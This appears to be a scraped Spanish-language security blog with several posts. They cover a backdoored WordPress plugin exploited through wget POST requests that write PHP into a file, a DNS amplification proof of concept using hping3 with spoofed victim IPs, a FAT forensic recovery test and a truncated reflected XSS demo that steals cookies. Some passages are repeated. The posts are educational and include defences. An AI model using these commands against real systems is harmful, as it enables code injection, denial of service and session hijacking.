Hoy en la rutina diaria de cosas rara que pasan en el trabajo me comentaron que uno de los sitios webs que tenemos en un wordpres multisite tenía un link extraño en la cabecera del sitio (http://blackjac__nline.co.uk), convengamos que uno no suele encontrar links a casinos en sitios educativos. Mientras terminaba de hacer otras cosas me puse a investigar un poco.
Busqué dentro del servidor los archivos que contenían este preciosó link y voilà... encontré un archivo llamado version.php dentro de ".../wp-content/plugins/google-maps-by-daniel-martyn" (lamentablemente modifiqué el archivo original durante las pruebas que voy a mostrar ahora jajaja pero bueno).
El plugin no parecía muy sospechoso, los archivos y directorios que lo componen son:
# ls
css gmbdm-widget.php google-maps-by-daniel-martyn.php images index.php inuse.php inuse.txt js license.txt readme.txt version.php
#
Los mas interesantes son
-inuse.txt que almacena una lista de IPs a las que ya les fue presentado el link, posiblemente para no repetir y que solo se vea una vez.
-inuse.php este se lleva los laureles. Es sin lugar a dudas el punto mas flaco o oscuro del plugin. El contenido del archivo es
# cat inuse.php
$inuse = $_POST['checkinuse']; $infile = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/google-maps-by-daniel-martyn/version.php', 'w'); $inuse = str_replace('\\', '', $inuse); $inuse = htmlentities($inuse); fwrite($infile, html_entity_decode($inuse)); fclose($infile); echo $inuse;
?>
#
mmm... parece inofensivo no? PERO... recibe una variable por POST y la escribe en un archivo y casualmente el archivo donde escribe la variable es version.php, que acabamos de ver que se ejecutaba cuando accediamos al sitio (alguna magia del esquema de plugins de wordpress).
Cabe la posibilidad de que alguien escriba esa variable remotamente y altere el contenido de version.php con un contenido digamos... malicioso? Probemos...
# wget --post-data 'checkinuse=<h1>Aca tu codigo PHP</h1>' http://SITIO_COMPROMETIDO/wp-content/plugins/google-maps-by-daniel-martyn/inuse.php
y obtenemos el contenido de la variable checkinuse
# cat version.php
<h1>Aca tu codigo PHP<h1>
#
Interesante :D, si ahora en lugar de un simple e inofensivo código html ponemos código PHP...
# wget --post-data 'checkinuse=<?php phpinfo();>' http://SITIO_COMPROMETIDO/wp-content/plugins/google-maps-by-daniel-martyn/inuse.php
corroboramos el nuevo contenido del archivo version.php
# cat version.php
<?php phpinfo();?>
#
Boooom...
Evidentemente este plugin es para desconfiar, como le dije hoy a alguien, esto parece mas un backdoor que un bug/feature del plugin...
Buscando un poco encontré http://wordpress.org/support/view/plugin-reviews/google-maps-by-daniel-martyn donde claramente indican que NO se recomienda el uso del plugin por el comportamiento que tiene. Aparentemente ya ha sido retirado del repositorio de plugin de wordpress.
A pesar de haber sido reportado hace ya unos meses hay muchos sitios que aún lo tienen y son vulnerables, (con una simple búsqueda en google se pueden encontrar varios).
Que dilema... confiar o no confiar en nuestros plugins???
jueves, 24 de octubre de 2013
jueves, 11 de julio de 2013
"Prueba de concepto" TA13-088A: DNS Amplification Attacks
Para complementar el post anterior voy a hacer una demostración sencilla. La idea es demostrar la facilidad con que se pueden ganar varios Mbytes de tráfico con solo hacer consultas DNS.
Para generar las consultas utilizamos hping3 (http://www.hping.org/), una herramientita muuy interesante que permite generar paquetes de todo tipo, formas, etc, hacer ip spoofing, lanzar enormidad de paquetes por segundo, etc.
Los participantes serán:
IP_victima: la IP que falsificaremos y a donde volverá el tráfico dns amplificado.
IP_dns1, IP_dns2 : las IPs de los servidores de dns que vamos a utilizar para atacar.
IP_atacante: si bien dijimos que lo ideal sería realizar el ataque desde varias PCs, lo vamos a hacer desde solo una para la prueba.
La parte sombreada es lo que exportamos al archivo query en formato binario, podemos ver que son 28 bytes de la consulta.
Podemos ver el tamaño del archivo exportado:
root@corrientes:/home/jpavlik/DoS# ll query
-rw-r--r-- 1 root root 28 jul 8 17:35 query
root@corrientes:/home/jpavlik/DoS#
Para generar las consultas utilizamos hping3 (http://www.hping.org/), una herramientita muuy interesante que permite generar paquetes de todo tipo, formas, etc, hacer ip spoofing, lanzar enormidad de paquetes por segundo, etc.
Los participantes serán:
IP_victima: la IP que falsificaremos y a donde volverá el tráfico dns amplificado.
IP_dns1, IP_dns2 : las IPs de los servidores de dns que vamos a utilizar para atacar.
IP_atacante: si bien dijimos que lo ideal sería realizar el ataque desde varias PCs, lo vamos a hacer desde solo una para la prueba.
Conseguir la consulta a enviar:
La consulta que vamos a enviar es la misma que mostré en el post anterior, por lo tanto hice una captura con wireshark el envío de la consulta y exporté el contenido del paquete UDP a un archivo llamado "query". Este archivo contiene todo lo respectivo a la consulta DNSLa parte sombreada es lo que exportamos al archivo query en formato binario, podemos ver que son 28 bytes de la consulta.
Podemos ver el tamaño del archivo exportado:
root@corrientes:/home/jpavlik/DoS# ll query
-rw-r--r-- 1 root root 28 jul 8 17:35 query
root@corrientes:/home/jpavlik/DoS#
Lanzamos hping contra el primer dns y vemos el efecto en la víctima:
Vamos a lanzar hping de la siguiente manera:
hping3 --faster --udp -p 53 --spoof IP_victima --file query -d 28 IP_dns1
- Donde el parámetro "--faster" le indica a hping que envíe los paquetes con intervalos de espera de 1 microsegundo (aprox. 1000000 de paquetes por segundo).
- Los parámetros "--udp -p 53" indica el protocolo de transporte y el puerto destino al que irán los paquetes generados.
- El parámetros "--spoof IP_victima" indica la IP de origen que tendrán los paquetes generados.
- Los parámetros "--file query -d 28" indican por un lado, el archivo de donde se sacará el contenido a enviar en los paquetes y la longitud de este contenido.
- Por último "IP_dns1" la IP del servidor de nombres recursivo que vamos a utilizar.
Por otro lado, en la víctima mediremos el tráfico con iftop de la siguiente manera:
iftop -f "port 53"
- Iftop nos permite ver en tiempo real las conexiones y el consumo de estas en una interfaz de red
- La opción "-f" permite definir un filtro y en nuestro caso filtramos por el puerto 53.
Vemos que antes de lanzar no tenemos trafico alguno:
Ahora lanzamos el hping con los parámetros correspondientes:
- Vemos como se generaron unos 47,5 Mb por segundo (solo con 1 máquina y 1 dns).
- Vemos como solo se registra tráfico RX (entrante), esto se debe principalmente al spoofin, ya que las consultas jamás salieron de esta IP.
Lanzamos hping contra dos dns y vemos el efecto en la víctima:
Esta vez lanzamos una segunda instancia de hping, pero apuntando las consultas a un segundo servidor de dns para "duplicar" el impacto.
- Con este segundo dns llegamos a un pico de 78Mb por segundo, un poco por debajo del doble.
- Vemos ahora otro flujo solamente de llegada de paquetes, correspondiente a las respuestas del segundo servidor.
En fin, esto era para mostrarles que no es muy complicado de reproducior el problema de esta manera. Para que realmente el ataque sea exitoso son necesarios varios factores:
- DNSs recursivos que respondan abiertamente y una tasa alta de respuestas por segundo.
- Muchos HOSTS desde donde se pueda hacer spoof de la IP de la víctima.
- Paciencia.
domingo, 7 de julio de 2013
TA13-088A: DNS Amplification Attacks
Hace un par de días recibí un correo de US-CERT con el título "TA13-088A: DNS Amplification Attacks" y me llamó poderosamente la atención que esto siga siendo un problema en la red.
Según el último análisis hecho por la gente de Open Resolver Project (http://openresolverproject.org/ 2013-06-30):
35086838 servers responded to udp/53 probe
30085246 gave the correct answer to the A? for the DNS name queried
30556493 responses had recursion-available bit set
Es decir que existen alrededor de 35 millones de servidores DNS, de los cuales 30 millones responderían consultas recursivas, esto es aproximadamente el 87% del total (bastante, no?).
A ver..., a priori tener un servidor DNS que responde consultas recursivas no es un pecado capital, de hecho es una gran funcionalidad en casos como el de la siguiente figura:
Un DNS recursivo brinda una serie de ventajas:
Entonces cuál es el problema con tener un DNS recursivo?
El problema radica principalmente en la capacidad de un atacante de falsificar la dirección IP de origen (conocido como IP spoofing) en una consulta de dns. Sumado a esto, las consultas DNS tienen una particularidad muy interesante y util en este contexto:
Las respuestas suelen ser mucho mas grandes que las preguntas.
Por ejemplo, una consulta sencilla donde solo queremos los registros NS que corresponden a la raíz del servicio de nombres:
juan@moon:~$ dig -t ns .
; <<>> DiG 9.7.3 <<>> -t ns .
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- 43559="" font="" id:="" noerror="" opcode:="" query="" status:="">->
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 15
;; QUESTION SECTION:
;. IN NS
;; ANSWER SECTION:
. 194627 IN NS i.root-servers.net.
. 194627 IN NS j.root-servers.net.
. 194627 IN NS m.root-servers.net.
. 194627 IN NS g.root-servers.net.
. 194627 IN NS k.root-servers.net.
. 194627 IN NS b.root-servers.net.
. 194627 IN NS e.root-servers.net.
. 194627 IN NS l.root-servers.net.
. 194627 IN NS c.root-servers.net.
. 194627 IN NS h.root-servers.net.
. 194627 IN NS f.root-servers.net.
. 194627 IN NS a.root-servers.net.
. 194627 IN NS d.root-servers.net.
;; ADDITIONAL SECTION:
j.root-servers.net. 603710 IN A 192.58.128.30
m.root-servers.net. 198503 IN A 202.12.27.33
m.root-servers.net. 254964 IN AAAA 2001:dc3::35
g.root-servers.net. 603710 IN A 192.112.36.4
k.root-servers.net. 603710 IN A 193.0.14.129
b.root-servers.net. 603710 IN A 192.228.79.201
e.root-servers.net. 603497 IN A 192.203.230.10
l.root-servers.net. 601827 IN A 199.7.83.42
l.root-servers.net. 601827 IN AAAA 2001:500:3::42
c.root-servers.net. 603710 IN A 192.33.4.12
h.root-servers.net. 603710 IN A 128.63.2.53
f.root-servers.net. 603710 IN A 192.5.5.241
a.root-servers.net. 442939 IN A 198.41.0.4
a.root-servers.net. 599900 IN AAAA 2001:503:ba3e::2:30
d.root-servers.net. 603710 IN A 199.7.91.13
;; Query time: 24 msec
;; SERVER: 200.49.130.47#53(200.49.130.47)
;; WHEN: Sun Jul 7 00:25:00 2013
;; MSG SIZE rcvd: 504
juan@moon:~$
Si un atacante contara con una botnet pequeña de unos 2000 equipos infectados generando unas 10 consultas por segundo, podría generar un bruto de 10920000 (5000*10*546) bytes, aproximadamente 10 Gbytes de tráfico en respuestas!!! Pero todavía queda algo por arreglar, claramente no podríamos exigirle este tráfico a un solo servidor DNS... necesitamos poder distribuir las consultas en mas de un servidor; pero eso no debería ser un impedimento según la gente de OpenResolvers.org, ya que hay millones de servidores DNS recursivos abiertos.
Ahora supongamos que además, el atacante es capaz de cambiar la IP de origen con que salen las consultas DNS de cada uno de los miembros de la botnet, por la IP de la víctima... eso significaría que estos 10 Gbytes estarían volviendo no a los nodos de la botnet sino a la IP víctima, colapsando así su ancho de banda y produciendo una denegación de servicio.
Cómo evitarlo?
Evitar denegaciones de servicio no es un tema sencillo y en la mayoría de los casos lo mejor que podamos hacer solamente reducirá el riesgo de sufrir una o disminuirá un poco su impacto.
Las siguiente medidas son de ayuda:
Una buena herramienta para ver si nuestros servidores son vulnerables es la siguiente http://www.dnsinspect.com/ . Con solo introducir nuestro nombre de dominio la aplicación hace una serie de pruebas a los servidores DNS declarados de la zona y prepara un breve informe. Este contiene los resultados de las pruebas junto con una serie de advertencias, sugerencias/recomendaciones para aplicar sobre las configuraciones de los mismos.
Según el último análisis hecho por la gente de Open Resolver Project (http://openresolverproject.org/ 2013-06-30):
35086838 servers responded to udp/53 probe
30085246 gave the correct answer to the A? for the DNS name queried
30556493 responses had recursion-available bit set
Es decir que existen alrededor de 35 millones de servidores DNS, de los cuales 30 millones responderían consultas recursivas, esto es aproximadamente el 87% del total (bastante, no?).
A ver..., a priori tener un servidor DNS que responde consultas recursivas no es un pecado capital, de hecho es una gran funcionalidad en casos como el de la siguiente figura:
Un DNS recursivo brinda una serie de ventajas:
- Permite que las aplicaciones no tengan que cargar con el proceso de resolución de nombres.
- Definir políticas en cuanto al acceso a determinados dominios.
- En el caso de tener un firewall principal que controle el tráfico entrante y saliente de la organización, solo sería necesario abrir el puerto 53 (UDP/TCP) para el servidor de DNS y no para todas las IPs.
- Por lo general los servidores recursivos además son servidores cache, es decir que guardan las respuestas obtenidas por un plazo de tiempo, esto implica reducciones de tiempo y de consumo de ancho de banda.
Entonces cuál es el problema con tener un DNS recursivo?
El problema radica principalmente en la capacidad de un atacante de falsificar la dirección IP de origen (conocido como IP spoofing) en una consulta de dns. Sumado a esto, las consultas DNS tienen una particularidad muy interesante y util en este contexto:
Las respuestas suelen ser mucho mas grandes que las preguntas.
Por ejemplo, una consulta sencilla donde solo queremos los registros NS que corresponden a la raíz del servicio de nombres:
juan@moon:~$ dig -t ns .
; <<>> DiG 9.7.3 <<>> -t ns .
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- 43559="" font="" id:="" noerror="" opcode:="" query="" status:="">->
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 15
;; QUESTION SECTION:
;. IN NS
;; ANSWER SECTION:
. 194627 IN NS i.root-servers.net.
. 194627 IN NS j.root-servers.net.
. 194627 IN NS m.root-servers.net.
. 194627 IN NS g.root-servers.net.
. 194627 IN NS k.root-servers.net.
. 194627 IN NS b.root-servers.net.
. 194627 IN NS e.root-servers.net.
. 194627 IN NS l.root-servers.net.
. 194627 IN NS c.root-servers.net.
. 194627 IN NS h.root-servers.net.
. 194627 IN NS f.root-servers.net.
. 194627 IN NS a.root-servers.net.
. 194627 IN NS d.root-servers.net.
;; ADDITIONAL SECTION:
j.root-servers.net. 603710 IN A 192.58.128.30
m.root-servers.net. 198503 IN A 202.12.27.33
m.root-servers.net. 254964 IN AAAA 2001:dc3::35
g.root-servers.net. 603710 IN A 192.112.36.4
k.root-servers.net. 603710 IN A 193.0.14.129
b.root-servers.net. 603710 IN A 192.228.79.201
e.root-servers.net. 603497 IN A 192.203.230.10
l.root-servers.net. 601827 IN A 199.7.83.42
l.root-servers.net. 601827 IN AAAA 2001:500:3::42
c.root-servers.net. 603710 IN A 192.33.4.12
h.root-servers.net. 603710 IN A 128.63.2.53
f.root-servers.net. 603710 IN A 192.5.5.241
a.root-servers.net. 442939 IN A 198.41.0.4
a.root-servers.net. 599900 IN AAAA 2001:503:ba3e::2:30
d.root-servers.net. 603710 IN A 199.7.91.13
;; Query time: 24 msec
;; SERVER: 200.49.130.47#53(200.49.130.47)
;; WHEN: Sun Jul 7 00:25:00 2013
;; MSG SIZE rcvd: 504
juan@moon:~$
Capturando con wireshark la consulta anterior vemos:
La respuesta es casi 10 veces mas grande que la pregunta (podrían existir casos aún peores, pruebe con dig -t ANY . @8.8.8.8 ... 1600 bytes!). Esta particularidad hace al protocolo DNS una potencial herramienta de denegación de servicio muuuuy interesante.
Si extrapolamos un poco los números:
- Digamos que podemos hacer 10 consultas por segundo, eso serían 590 bytes, recibiríamos 5460 bytes en respuestas.
- Digamos que podemos hacer 100 consultas por segundo, eso serían 5900 bytes en consultas y unos 54600 bytes en respuestas.
Dificilmente logremos realizar una DoS realizando 100 consultas por segundo... la amenaza está realmente en el trabajo en equipo, es decir en las Botnets.
Si un atacante contara con una botnet pequeña de unos 2000 equipos infectados generando unas 10 consultas por segundo, podría generar un bruto de 10920000 (5000*10*546) bytes, aproximadamente 10 Gbytes de tráfico en respuestas!!! Pero todavía queda algo por arreglar, claramente no podríamos exigirle este tráfico a un solo servidor DNS... necesitamos poder distribuir las consultas en mas de un servidor; pero eso no debería ser un impedimento según la gente de OpenResolvers.org, ya que hay millones de servidores DNS recursivos abiertos.
Ahora supongamos que además, el atacante es capaz de cambiar la IP de origen con que salen las consultas DNS de cada uno de los miembros de la botnet, por la IP de la víctima... eso significaría que estos 10 Gbytes estarían volviendo no a los nodos de la botnet sino a la IP víctima, colapsando así su ancho de banda y produciendo una denegación de servicio.
Cómo evitarlo?
Evitar denegaciones de servicio no es un tema sencillo y en la mayoría de los casos lo mejor que podamos hacer solamente reducirá el riesgo de sufrir una o disminuirá un poco su impacto.
Las siguiente medidas son de ayuda:
- Deshabilitar las consultas recursivas en los servidores que no las precisen, por ejemplo aquellos servidores que solo son autoritativos.
- Si las consultas recursivas son necesarias, se pueden tomar dos medidas: limitar la funcionalidad a un número acotado de IPs o limitar la cantidad de consultas por segundo permitidas.
- Verificación de direcciones IP, los ISP deberían combatir el IP spoofing, aca va un RFC que presenta una solución a este problema http://tools.ietf.org/html/bcp38 .
Una buena herramienta para ver si nuestros servidores son vulnerables es la siguiente http://www.dnsinspect.com/ . Con solo introducir nuestro nombre de dominio la aplicación hace una serie de pruebas a los servidores DNS declarados de la zona y prepara un breve informe. Este contiene los resultados de las pruebas junto con una serie de advertencias, sugerencias/recomendaciones para aplicar sobre las configuraciones de los mismos.
lunes, 8 de abril de 2013
Recuperando información totalmente sobreescrita
Hace un par de días comencé un posgrado en seguridad de la información y se dió una charla muy interesante. El punto de la conversación era la posibilidad de recuperar archivos de una memoria flash que había sido COMPLETAMENTE sobreescrita, esto dio lugar básicamente a dos opiniones:
-NO, no es posible recuperar nada si la memoria fue completamente sobre escrita.
-SI, si es posible.
En particular yo estaba en el primer grupo, aunque alguna vez leí que en los soportes magnéticos esto podría ser cierto por la naturaleza magnética de los mismos. Pero ahora estabamos hablando de memorias de tipo FLASH.
En la mayoría de los casos (por no decir todos, aunque posiblemente sean todos) las memorias flash a.k.a. pendrives, tienen particiones de tipo FAT. Este tipo de sistema de archivos son mundialmente conocidos por su mecanismo de borrado que, mmm digamos, no borra. Suena loco, pero si, técnicamente lo que borramos NO se elimina del dispositivo, sino que solamente se marca como espacio libre disponible nuevamente.
Como prueba plantee el siguiente escenario:
-Cree en mi pendrive una partición de 128Mbytes (por una cuestión de tiempo, no valía la pena hacerla mas grande).
-Formatee la partición con un sistema de archivos tipo FAT.
-Copié a la partición una serie de archivos, archivos de texto, binarios, documentos de office, sin llegar a ocupar la totalidad del dispositivo.
-Luego eliminé todos los archivos y con dd generé un archivo que ocupara la totalidad de la partición (128Mbytes).
-Use las herramientas de sleuthkit forensic analysis para intentar recuperar los archivos eliminados y sobreescritos.
Estado inicial del pendrive
root@moon:/home/juan# fdisk -lu /dev/sdb
Disco /dev/sdb: 4063 MB, 4063232000 bytes
125 cabezas, 62 sectores/pista, 1024 cilindros, 7936000 sectores en total
Unidades = sectores de 1 * 512 = 512 bytes
Tamaño de sector (lógico / físico): 512 bytes / 512 bytes
Tamaño E/S (mínimo/óptimo): 512 bytes / 512 bytes
Identificador del disco: 0x00091593
Dispositivo Inicio Comienzo Fin Bloques Id Sistema
/dev/sdb1 * 62 5750499 2875219 b W95 FAT32
/dev/sdb2 5750500 7935999 1092750 83 Linux
root@moon:/home/juan#
Inicialmente el pendrive tiene 2 particiones, una FAT32 y una partición linux. Elminé la partición FAT y volví a crearla en 128Mbytes.
root@moon:/home/juan# fdisk -u /dev/sdb
Orden (m para obtener ayuda): d
Número de partición (1-4): 1
Orden (m para obtener ayuda): w
¡Se ha modificado la tabla de particiones!
Llamando a ioctl() para volver a leer la tabla de particiones.
Se están sincronizando l1os discos.
Partición eliminada:
root@moon:/home/juan# fdisk -l /dev/sdb
Disco /dev/sdb: 4063 MB, 4063232000 bytes
125 cabezas, 62 sectores/pista, 1024 cilindros, 7936000 sectores en total
Unidades = sectores de 1 * 512 = 512 bytes
Tamaño de sector (lógico / físico): 512 bytes / 512 bytes
Tamaño E/S (mínimo/óptimo): 512 bytes / 512 bytes
Identificador del disco: 0x00091593
Dispositivo Inicio Comienzo Fin Bloques Id Sistema
/dev/sdb2 5750500 7935999 1092750 83 Linux
root@moon:/home/juan#
Ahora creo la partición de 128Mbytes,
root@moon:/home/juan# fdisk -u /dev/sdb
Orden (m para obtener ayuda): n
Acción de la orden
e Partición extendida
p Partición primaria (1-4)
p
Número de partición (1-4, valor predeterminado 1): 1
Primer sector (2048-7935999, valor predeterminado 2048):
Se está utilizando el valor predeterminado 2048
Último sector, +sectores o +tamaño{K,M,G} (2048-5750499, valor predeterminado 5750499): +128M
Orden (m para obtener ayuda): p
Disco /dev/sdb: 4063 MB, 4063232000 bytes
125 cabezas, 62 sectores/pista, 1024 cilindros, 7936000 sectores en total
Unidades = sectores de 1 * 512 = 512 bytes
Tamaño de sector (lógico / físico): 512 bytes / 512 bytes
Tamaño E/S (mínimo/óptimo): 512 bytes / 512 bytes
Identificador del disco: 0x00091593
Dispositivo Inicio Comienzo Fin Bloques Id Sistema
/dev/sdb1 2048 264191 131072 83 Linux
/dev/sdb2 5750500 7935999 1092750 83 Linux
Orden (m para obtener ayuda): w
¡Se ha modificado la tabla de particiones!
Llamando a ioctl() para volver a leer la tabla de particiones.
Se están sincronizando los discos.
root@moon:/home/juan#
Formateo la partición con FAT32:
root@moon:/home/juan# mkfs.vfat -F 32 /dev/sdb1
mkfs.vfat 3.0.9 (31 Jan 2010)
root@moon:/home/juan# mount /dev/sdb1 /media/
root@moon:/home/juan# mount|grep vfat
/dev/sdb1 on /media type vfat (rw)
root@moon:/home/juan# df -h|grep media
/dev/sdb1 127M 512 127M 1% /media
root@moon:/home/juan#
Listo, ahora copiamos los archivos:
root@moon:/home/juan# ll /media/
total 10969
drwxr-xr-x 2 root root 512 2013-04-07 22:20 ./
drwxr-xr-x 25 root root 4096 2013-02-18 15:44 ../
-rwxr-xr-x 1 root root 3252736 2013-04-07 22:20 04030-SlippingInTheWindow_v1.0.doc*
-rwxr-xr-x 1 root root 4163672 2013-04-07 22:20 dopdf-7.exe*
-rwxr-xr-x 1 root root 5036 2013-04-07 22:20 france1.jpg*
-rwxr-xr-x 1 root root 20480 2013-04-07 22:20 strings.txt*
-rwxr-xr-x 1 root root 160256 2013-04-07 22:20 TARIFAS.doc*
-rwxr-xr-x 1 root root 3624496 2013-04-07 22:20 ZTEDrvSetup.exe*
root@moon:/home/juan# df -h|grep media
/dev/sdb1 127M 11M 116M 9% /media
root@moon:/home/juan#
Desmontamos y volvemos a montar la unidad para que las operaciones pendientes se hagan si o si.
Borramos todos los archivos de la partición:
root@moon:/media# rm *
root@moon:/media# df -h|grep media
/dev/sdb1 127M 512 127M 1% /media
root@moon:/media#
Escribimos ahora un archivo gigante que ocupe toda la partición:
root@moon:/media# dd if=/dev/zero of=archivo_gigante bs=1024
dd: escribiendo «archivo_gigante»: No queda espacio en el dispositivo
129039+0 registros leídos
129038+0 registros escritos
132134912 bytes (132 MB) copiados, 0,706763 s, 187 MB/s
root@moon:/media#
Ocupé toda la partición con archivo_gigante, lleno de zeros obtenidos de "/dev/zero".
root@moon:~# df -h|grep media
/dev/sdb1 127M 127M 512 100% /media
root@moon:~#
Para averiguar un poco de nuestra partición utilizamos fsstat,
root@moon:~# fsstat /dev/sdb1
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: FAT32
OEM Name: mkdosfs
Volume ID: 0xb01a12a4
Volume Label (Boot Sector):
Volume Label (Root Directory):
File System Type Label: FAT32
Next Free Sector (FS Info): 25995
Free Sector Count (FS Info): 1
Sectors before file system: 0
File System Layout (in sectors)
Total Range: 0 - 262143
* Reserved: 0 - 31
** Boot Sector: 0
** FS Info Sector: 1
** Backup Boot Sector: 6
* FAT 0: 32 - 2048
* FAT 1: 2049 - 4065
* Data Area: 4066 - 262143
** Cluster Area: 4066 - 262143
*** Root Directory: 4066 - 4066
METADATA INFORMATION
--------------------------------------------
Range: 2 - 4129254
Root Directory: 2
CONTENT INFORMATION
--------------------------------------------
Sector Size: 512
Cluster Size: 512
Total Cluster Range: 2 - 258079
FAT CONTENTS (in sectors)
--------------------------------------------
4066-4066 (1) -> EOF
4067-25994 (21928) -> EOF
25996-262143 (236148) -> 4067
Fsstat nos muestra que tenemos dos entradas en la FAT, la primera es la correspondiente al directorio raiz, en la posición sector 4066. Y la segunda ocupa los sectores desde el sector 25996 hasta el 262143 y luego continua en el sector 4067 hata el 25994.
Podemos ver el contenido del sector correspondiente al directorio raíz y su contenido:
root@moon:~# dd if=/dev/sdb1 bs=512 skip=4066 count=1 > RAIZ
1+0 registros leídos
1+0 registros escritos
512 bytes (512 B) copiados, 0,001339 s, 382 kB/s
root@moon:~# cat RAIZ
Bte����k����������������archikvo_giganARCHIV~1 d��B�B��B�U8��4030-~1DOC d���B�B���B�1�dopdf�-7.exe���OPDF-7 EXE d���B�B���B�▒X�?�francVe1.jpg���RANCE1 JPG d���B�B���B�8��strin gs.txt���TRINGS TXT ���B�B���B�8P�TARIFaAS.doc���ARIFAS DOC d���B�B���B�8r�xe����������������������ZTEDr�vSetup.e�TEDRV~1EXE ���B�B���B:0N7
root@moon:~#
Podemos ver en la entrada de directorio que aún se preservan los nombres de los archivos que habíamos copiado en el dispositivo.
Si hacemos unos cálculos podemos asumir que nuestro archivo_gigante ocupa 258076 (236148 + 21928) sectores es decir unos 132134912 bytes, que CASUALMENTE es el número de bytes que escribió nuestro dd. Por lo pronto podemos asumir que la totalidad del dispositivo fue sobre escrito por este archivo y no podríamos recuperar ninguno de los otros.
Bueno, a intentar recuperar. Para esto voy a usar autopsy, un GUI web para sleuthkit.
Luego de agregar la imagen a autopsy la analizamos:
Y vemos:
A simple vista vemos que autopsy fue capaz de reconocer la previa existencia de todos los archivos e incluso sus tamaños. Por lo tanto intentamos recuperar france1.jpg.
Autopsy nos indica que france1.jpg tenia un tamaño de 5036 bytes y que comenzaba en el sector 18553. Por lo tanto esto significa que salvo que haya estado fragmentado el sistema de archivo, los sectores desde 18553 al 18563 pertenecian a france1.jpg (5036 bytes entran en 10 sectores de 512 bytes).
root@moon:/home/juan/borrar# dd if=/dev/sdb1 of=france1.jpg bs=512 skip=18553 count=10
10+0 registros leídos
10+0 registros escritos
5120 bytes (5,1 kB) copiados, 0,002215 s, 2,3 MB/s
root@moon:/home/juan/borrar# file france1.jpg
france1.jpg: data
root@moon:/home/juan/borrar#
Lamentablemente ya no es posible recuperar el archivo, solo obtuvimos 5120 bytes con ceros...
root@moon:/home/juan/borrar# hexdump -v france1.jpg
0000000 0000 0000 0000 0000 0000 0000 0000 0000
0000010 0000 0000 0000 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 0000 0000
0000030 0000 0000 0000 0000 0000 0000 0000 0000
0000040 0000 0000 0000 0000 0000 0000 0000 0000
0000050 0000 0000 0000 0000 0000 0000 0000 0000
0000060 0000 0000 0000 0000 0000 0000 0000 0000
0000070 0000 0000 0000 0000 0000 0000 0000 0000
...
00013f0 0000 0000 0000 0000 0000 0000 0000 0000
0001400
root@moon:/home/juan/borrar#
Probemos ahora con ZTEDrvSetup.exe, según autopsy se trataba de un ejecutable de windows que pesaba 3624496 bytes y que comenzaba en el bloque 18916. Asumiendo lo mismo que en el archivo anterior, extraemos los datos desde el sector 18916 al sector 25996 (18916+7080).
root@moon:/home/juan/borrar# dd if=/dev/sdb1 of=ZTEDrvSetup.exe bs=512 skip=18916 count=7080
7080+0 registros leídos
7080+0 registros escritos
3624960 bytes (3,6 MB) copiados, 0,196779 s, 18,4 MB/s
root@moon:/home/juan/borrar# file ZTEDrvSetup.exe
ZTEDrvSetup.exe: data
root@moon:/home/juan/borrar# hexdump ZTEDrvSetup.exe
0000000 0000 0000 0000 0000 0000 0000 0000 0000
*
0374e00 ae12 25be 6b96 5383 fbe3 51b5 db26 8c30
0374e10 b291 8f4a 8715 ab6c a46a 389a 8ff4 6c0c
0374e20 b926 2552 f303 cdbc 4bee c8a3 0b9d 0000
0374e30 0000 0000 0000 0000 0000 0000 0000 0000
*
0375000
root@moon:/home/juan/borrar#
Sin éxito nuevamente.
Al parecer por métodos de software no es posible recuperar archivos en particiones FAT que fueron sobreescritas completamente. Esto tiene sentido ya que al escribir en todo el espacio disponible los archivos que fueron previamente eliminados son tratados como espacio libre y por lo tanto sobreescritos.
Si bien en principio no podemos recuperar los archivos, todavía contamos con información interesante como su tamaño y sus datos MAC (Modified, Accessed and Created).
Este mismo comportamiento es de esperarse en soportes magnéticos que tengan FAT como sistema de archivo. Por lo tanto la recuperación por software debería ser idéntica en ambos medios. De todas manera, podrían existir métodos de recuperación mas específicos para cada tecnología, donde no se analizaría solamente el sistema de archivo, sino también buffers y hasta el propio soporte (hardware).
lunes, 4 de marzo de 2013
Un poco de XSS
Por acá de nuevo, debido a que realmente me gustó escribir el post anterior, hoy voy a escribir un poco sobre XSS, otra vulnerabilidad muuuuy común en aplicaciones web. XSS (Cross Site Scripting) se trata de una vulnerabilidad que permite la inserción y ejecución de código javascript en una aplicación web, principalmente debido a la ineficiencia o ausencia de validación en las entradas de los usuarios.
En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.
Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.
Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).
Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.
Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.
Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>
Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>
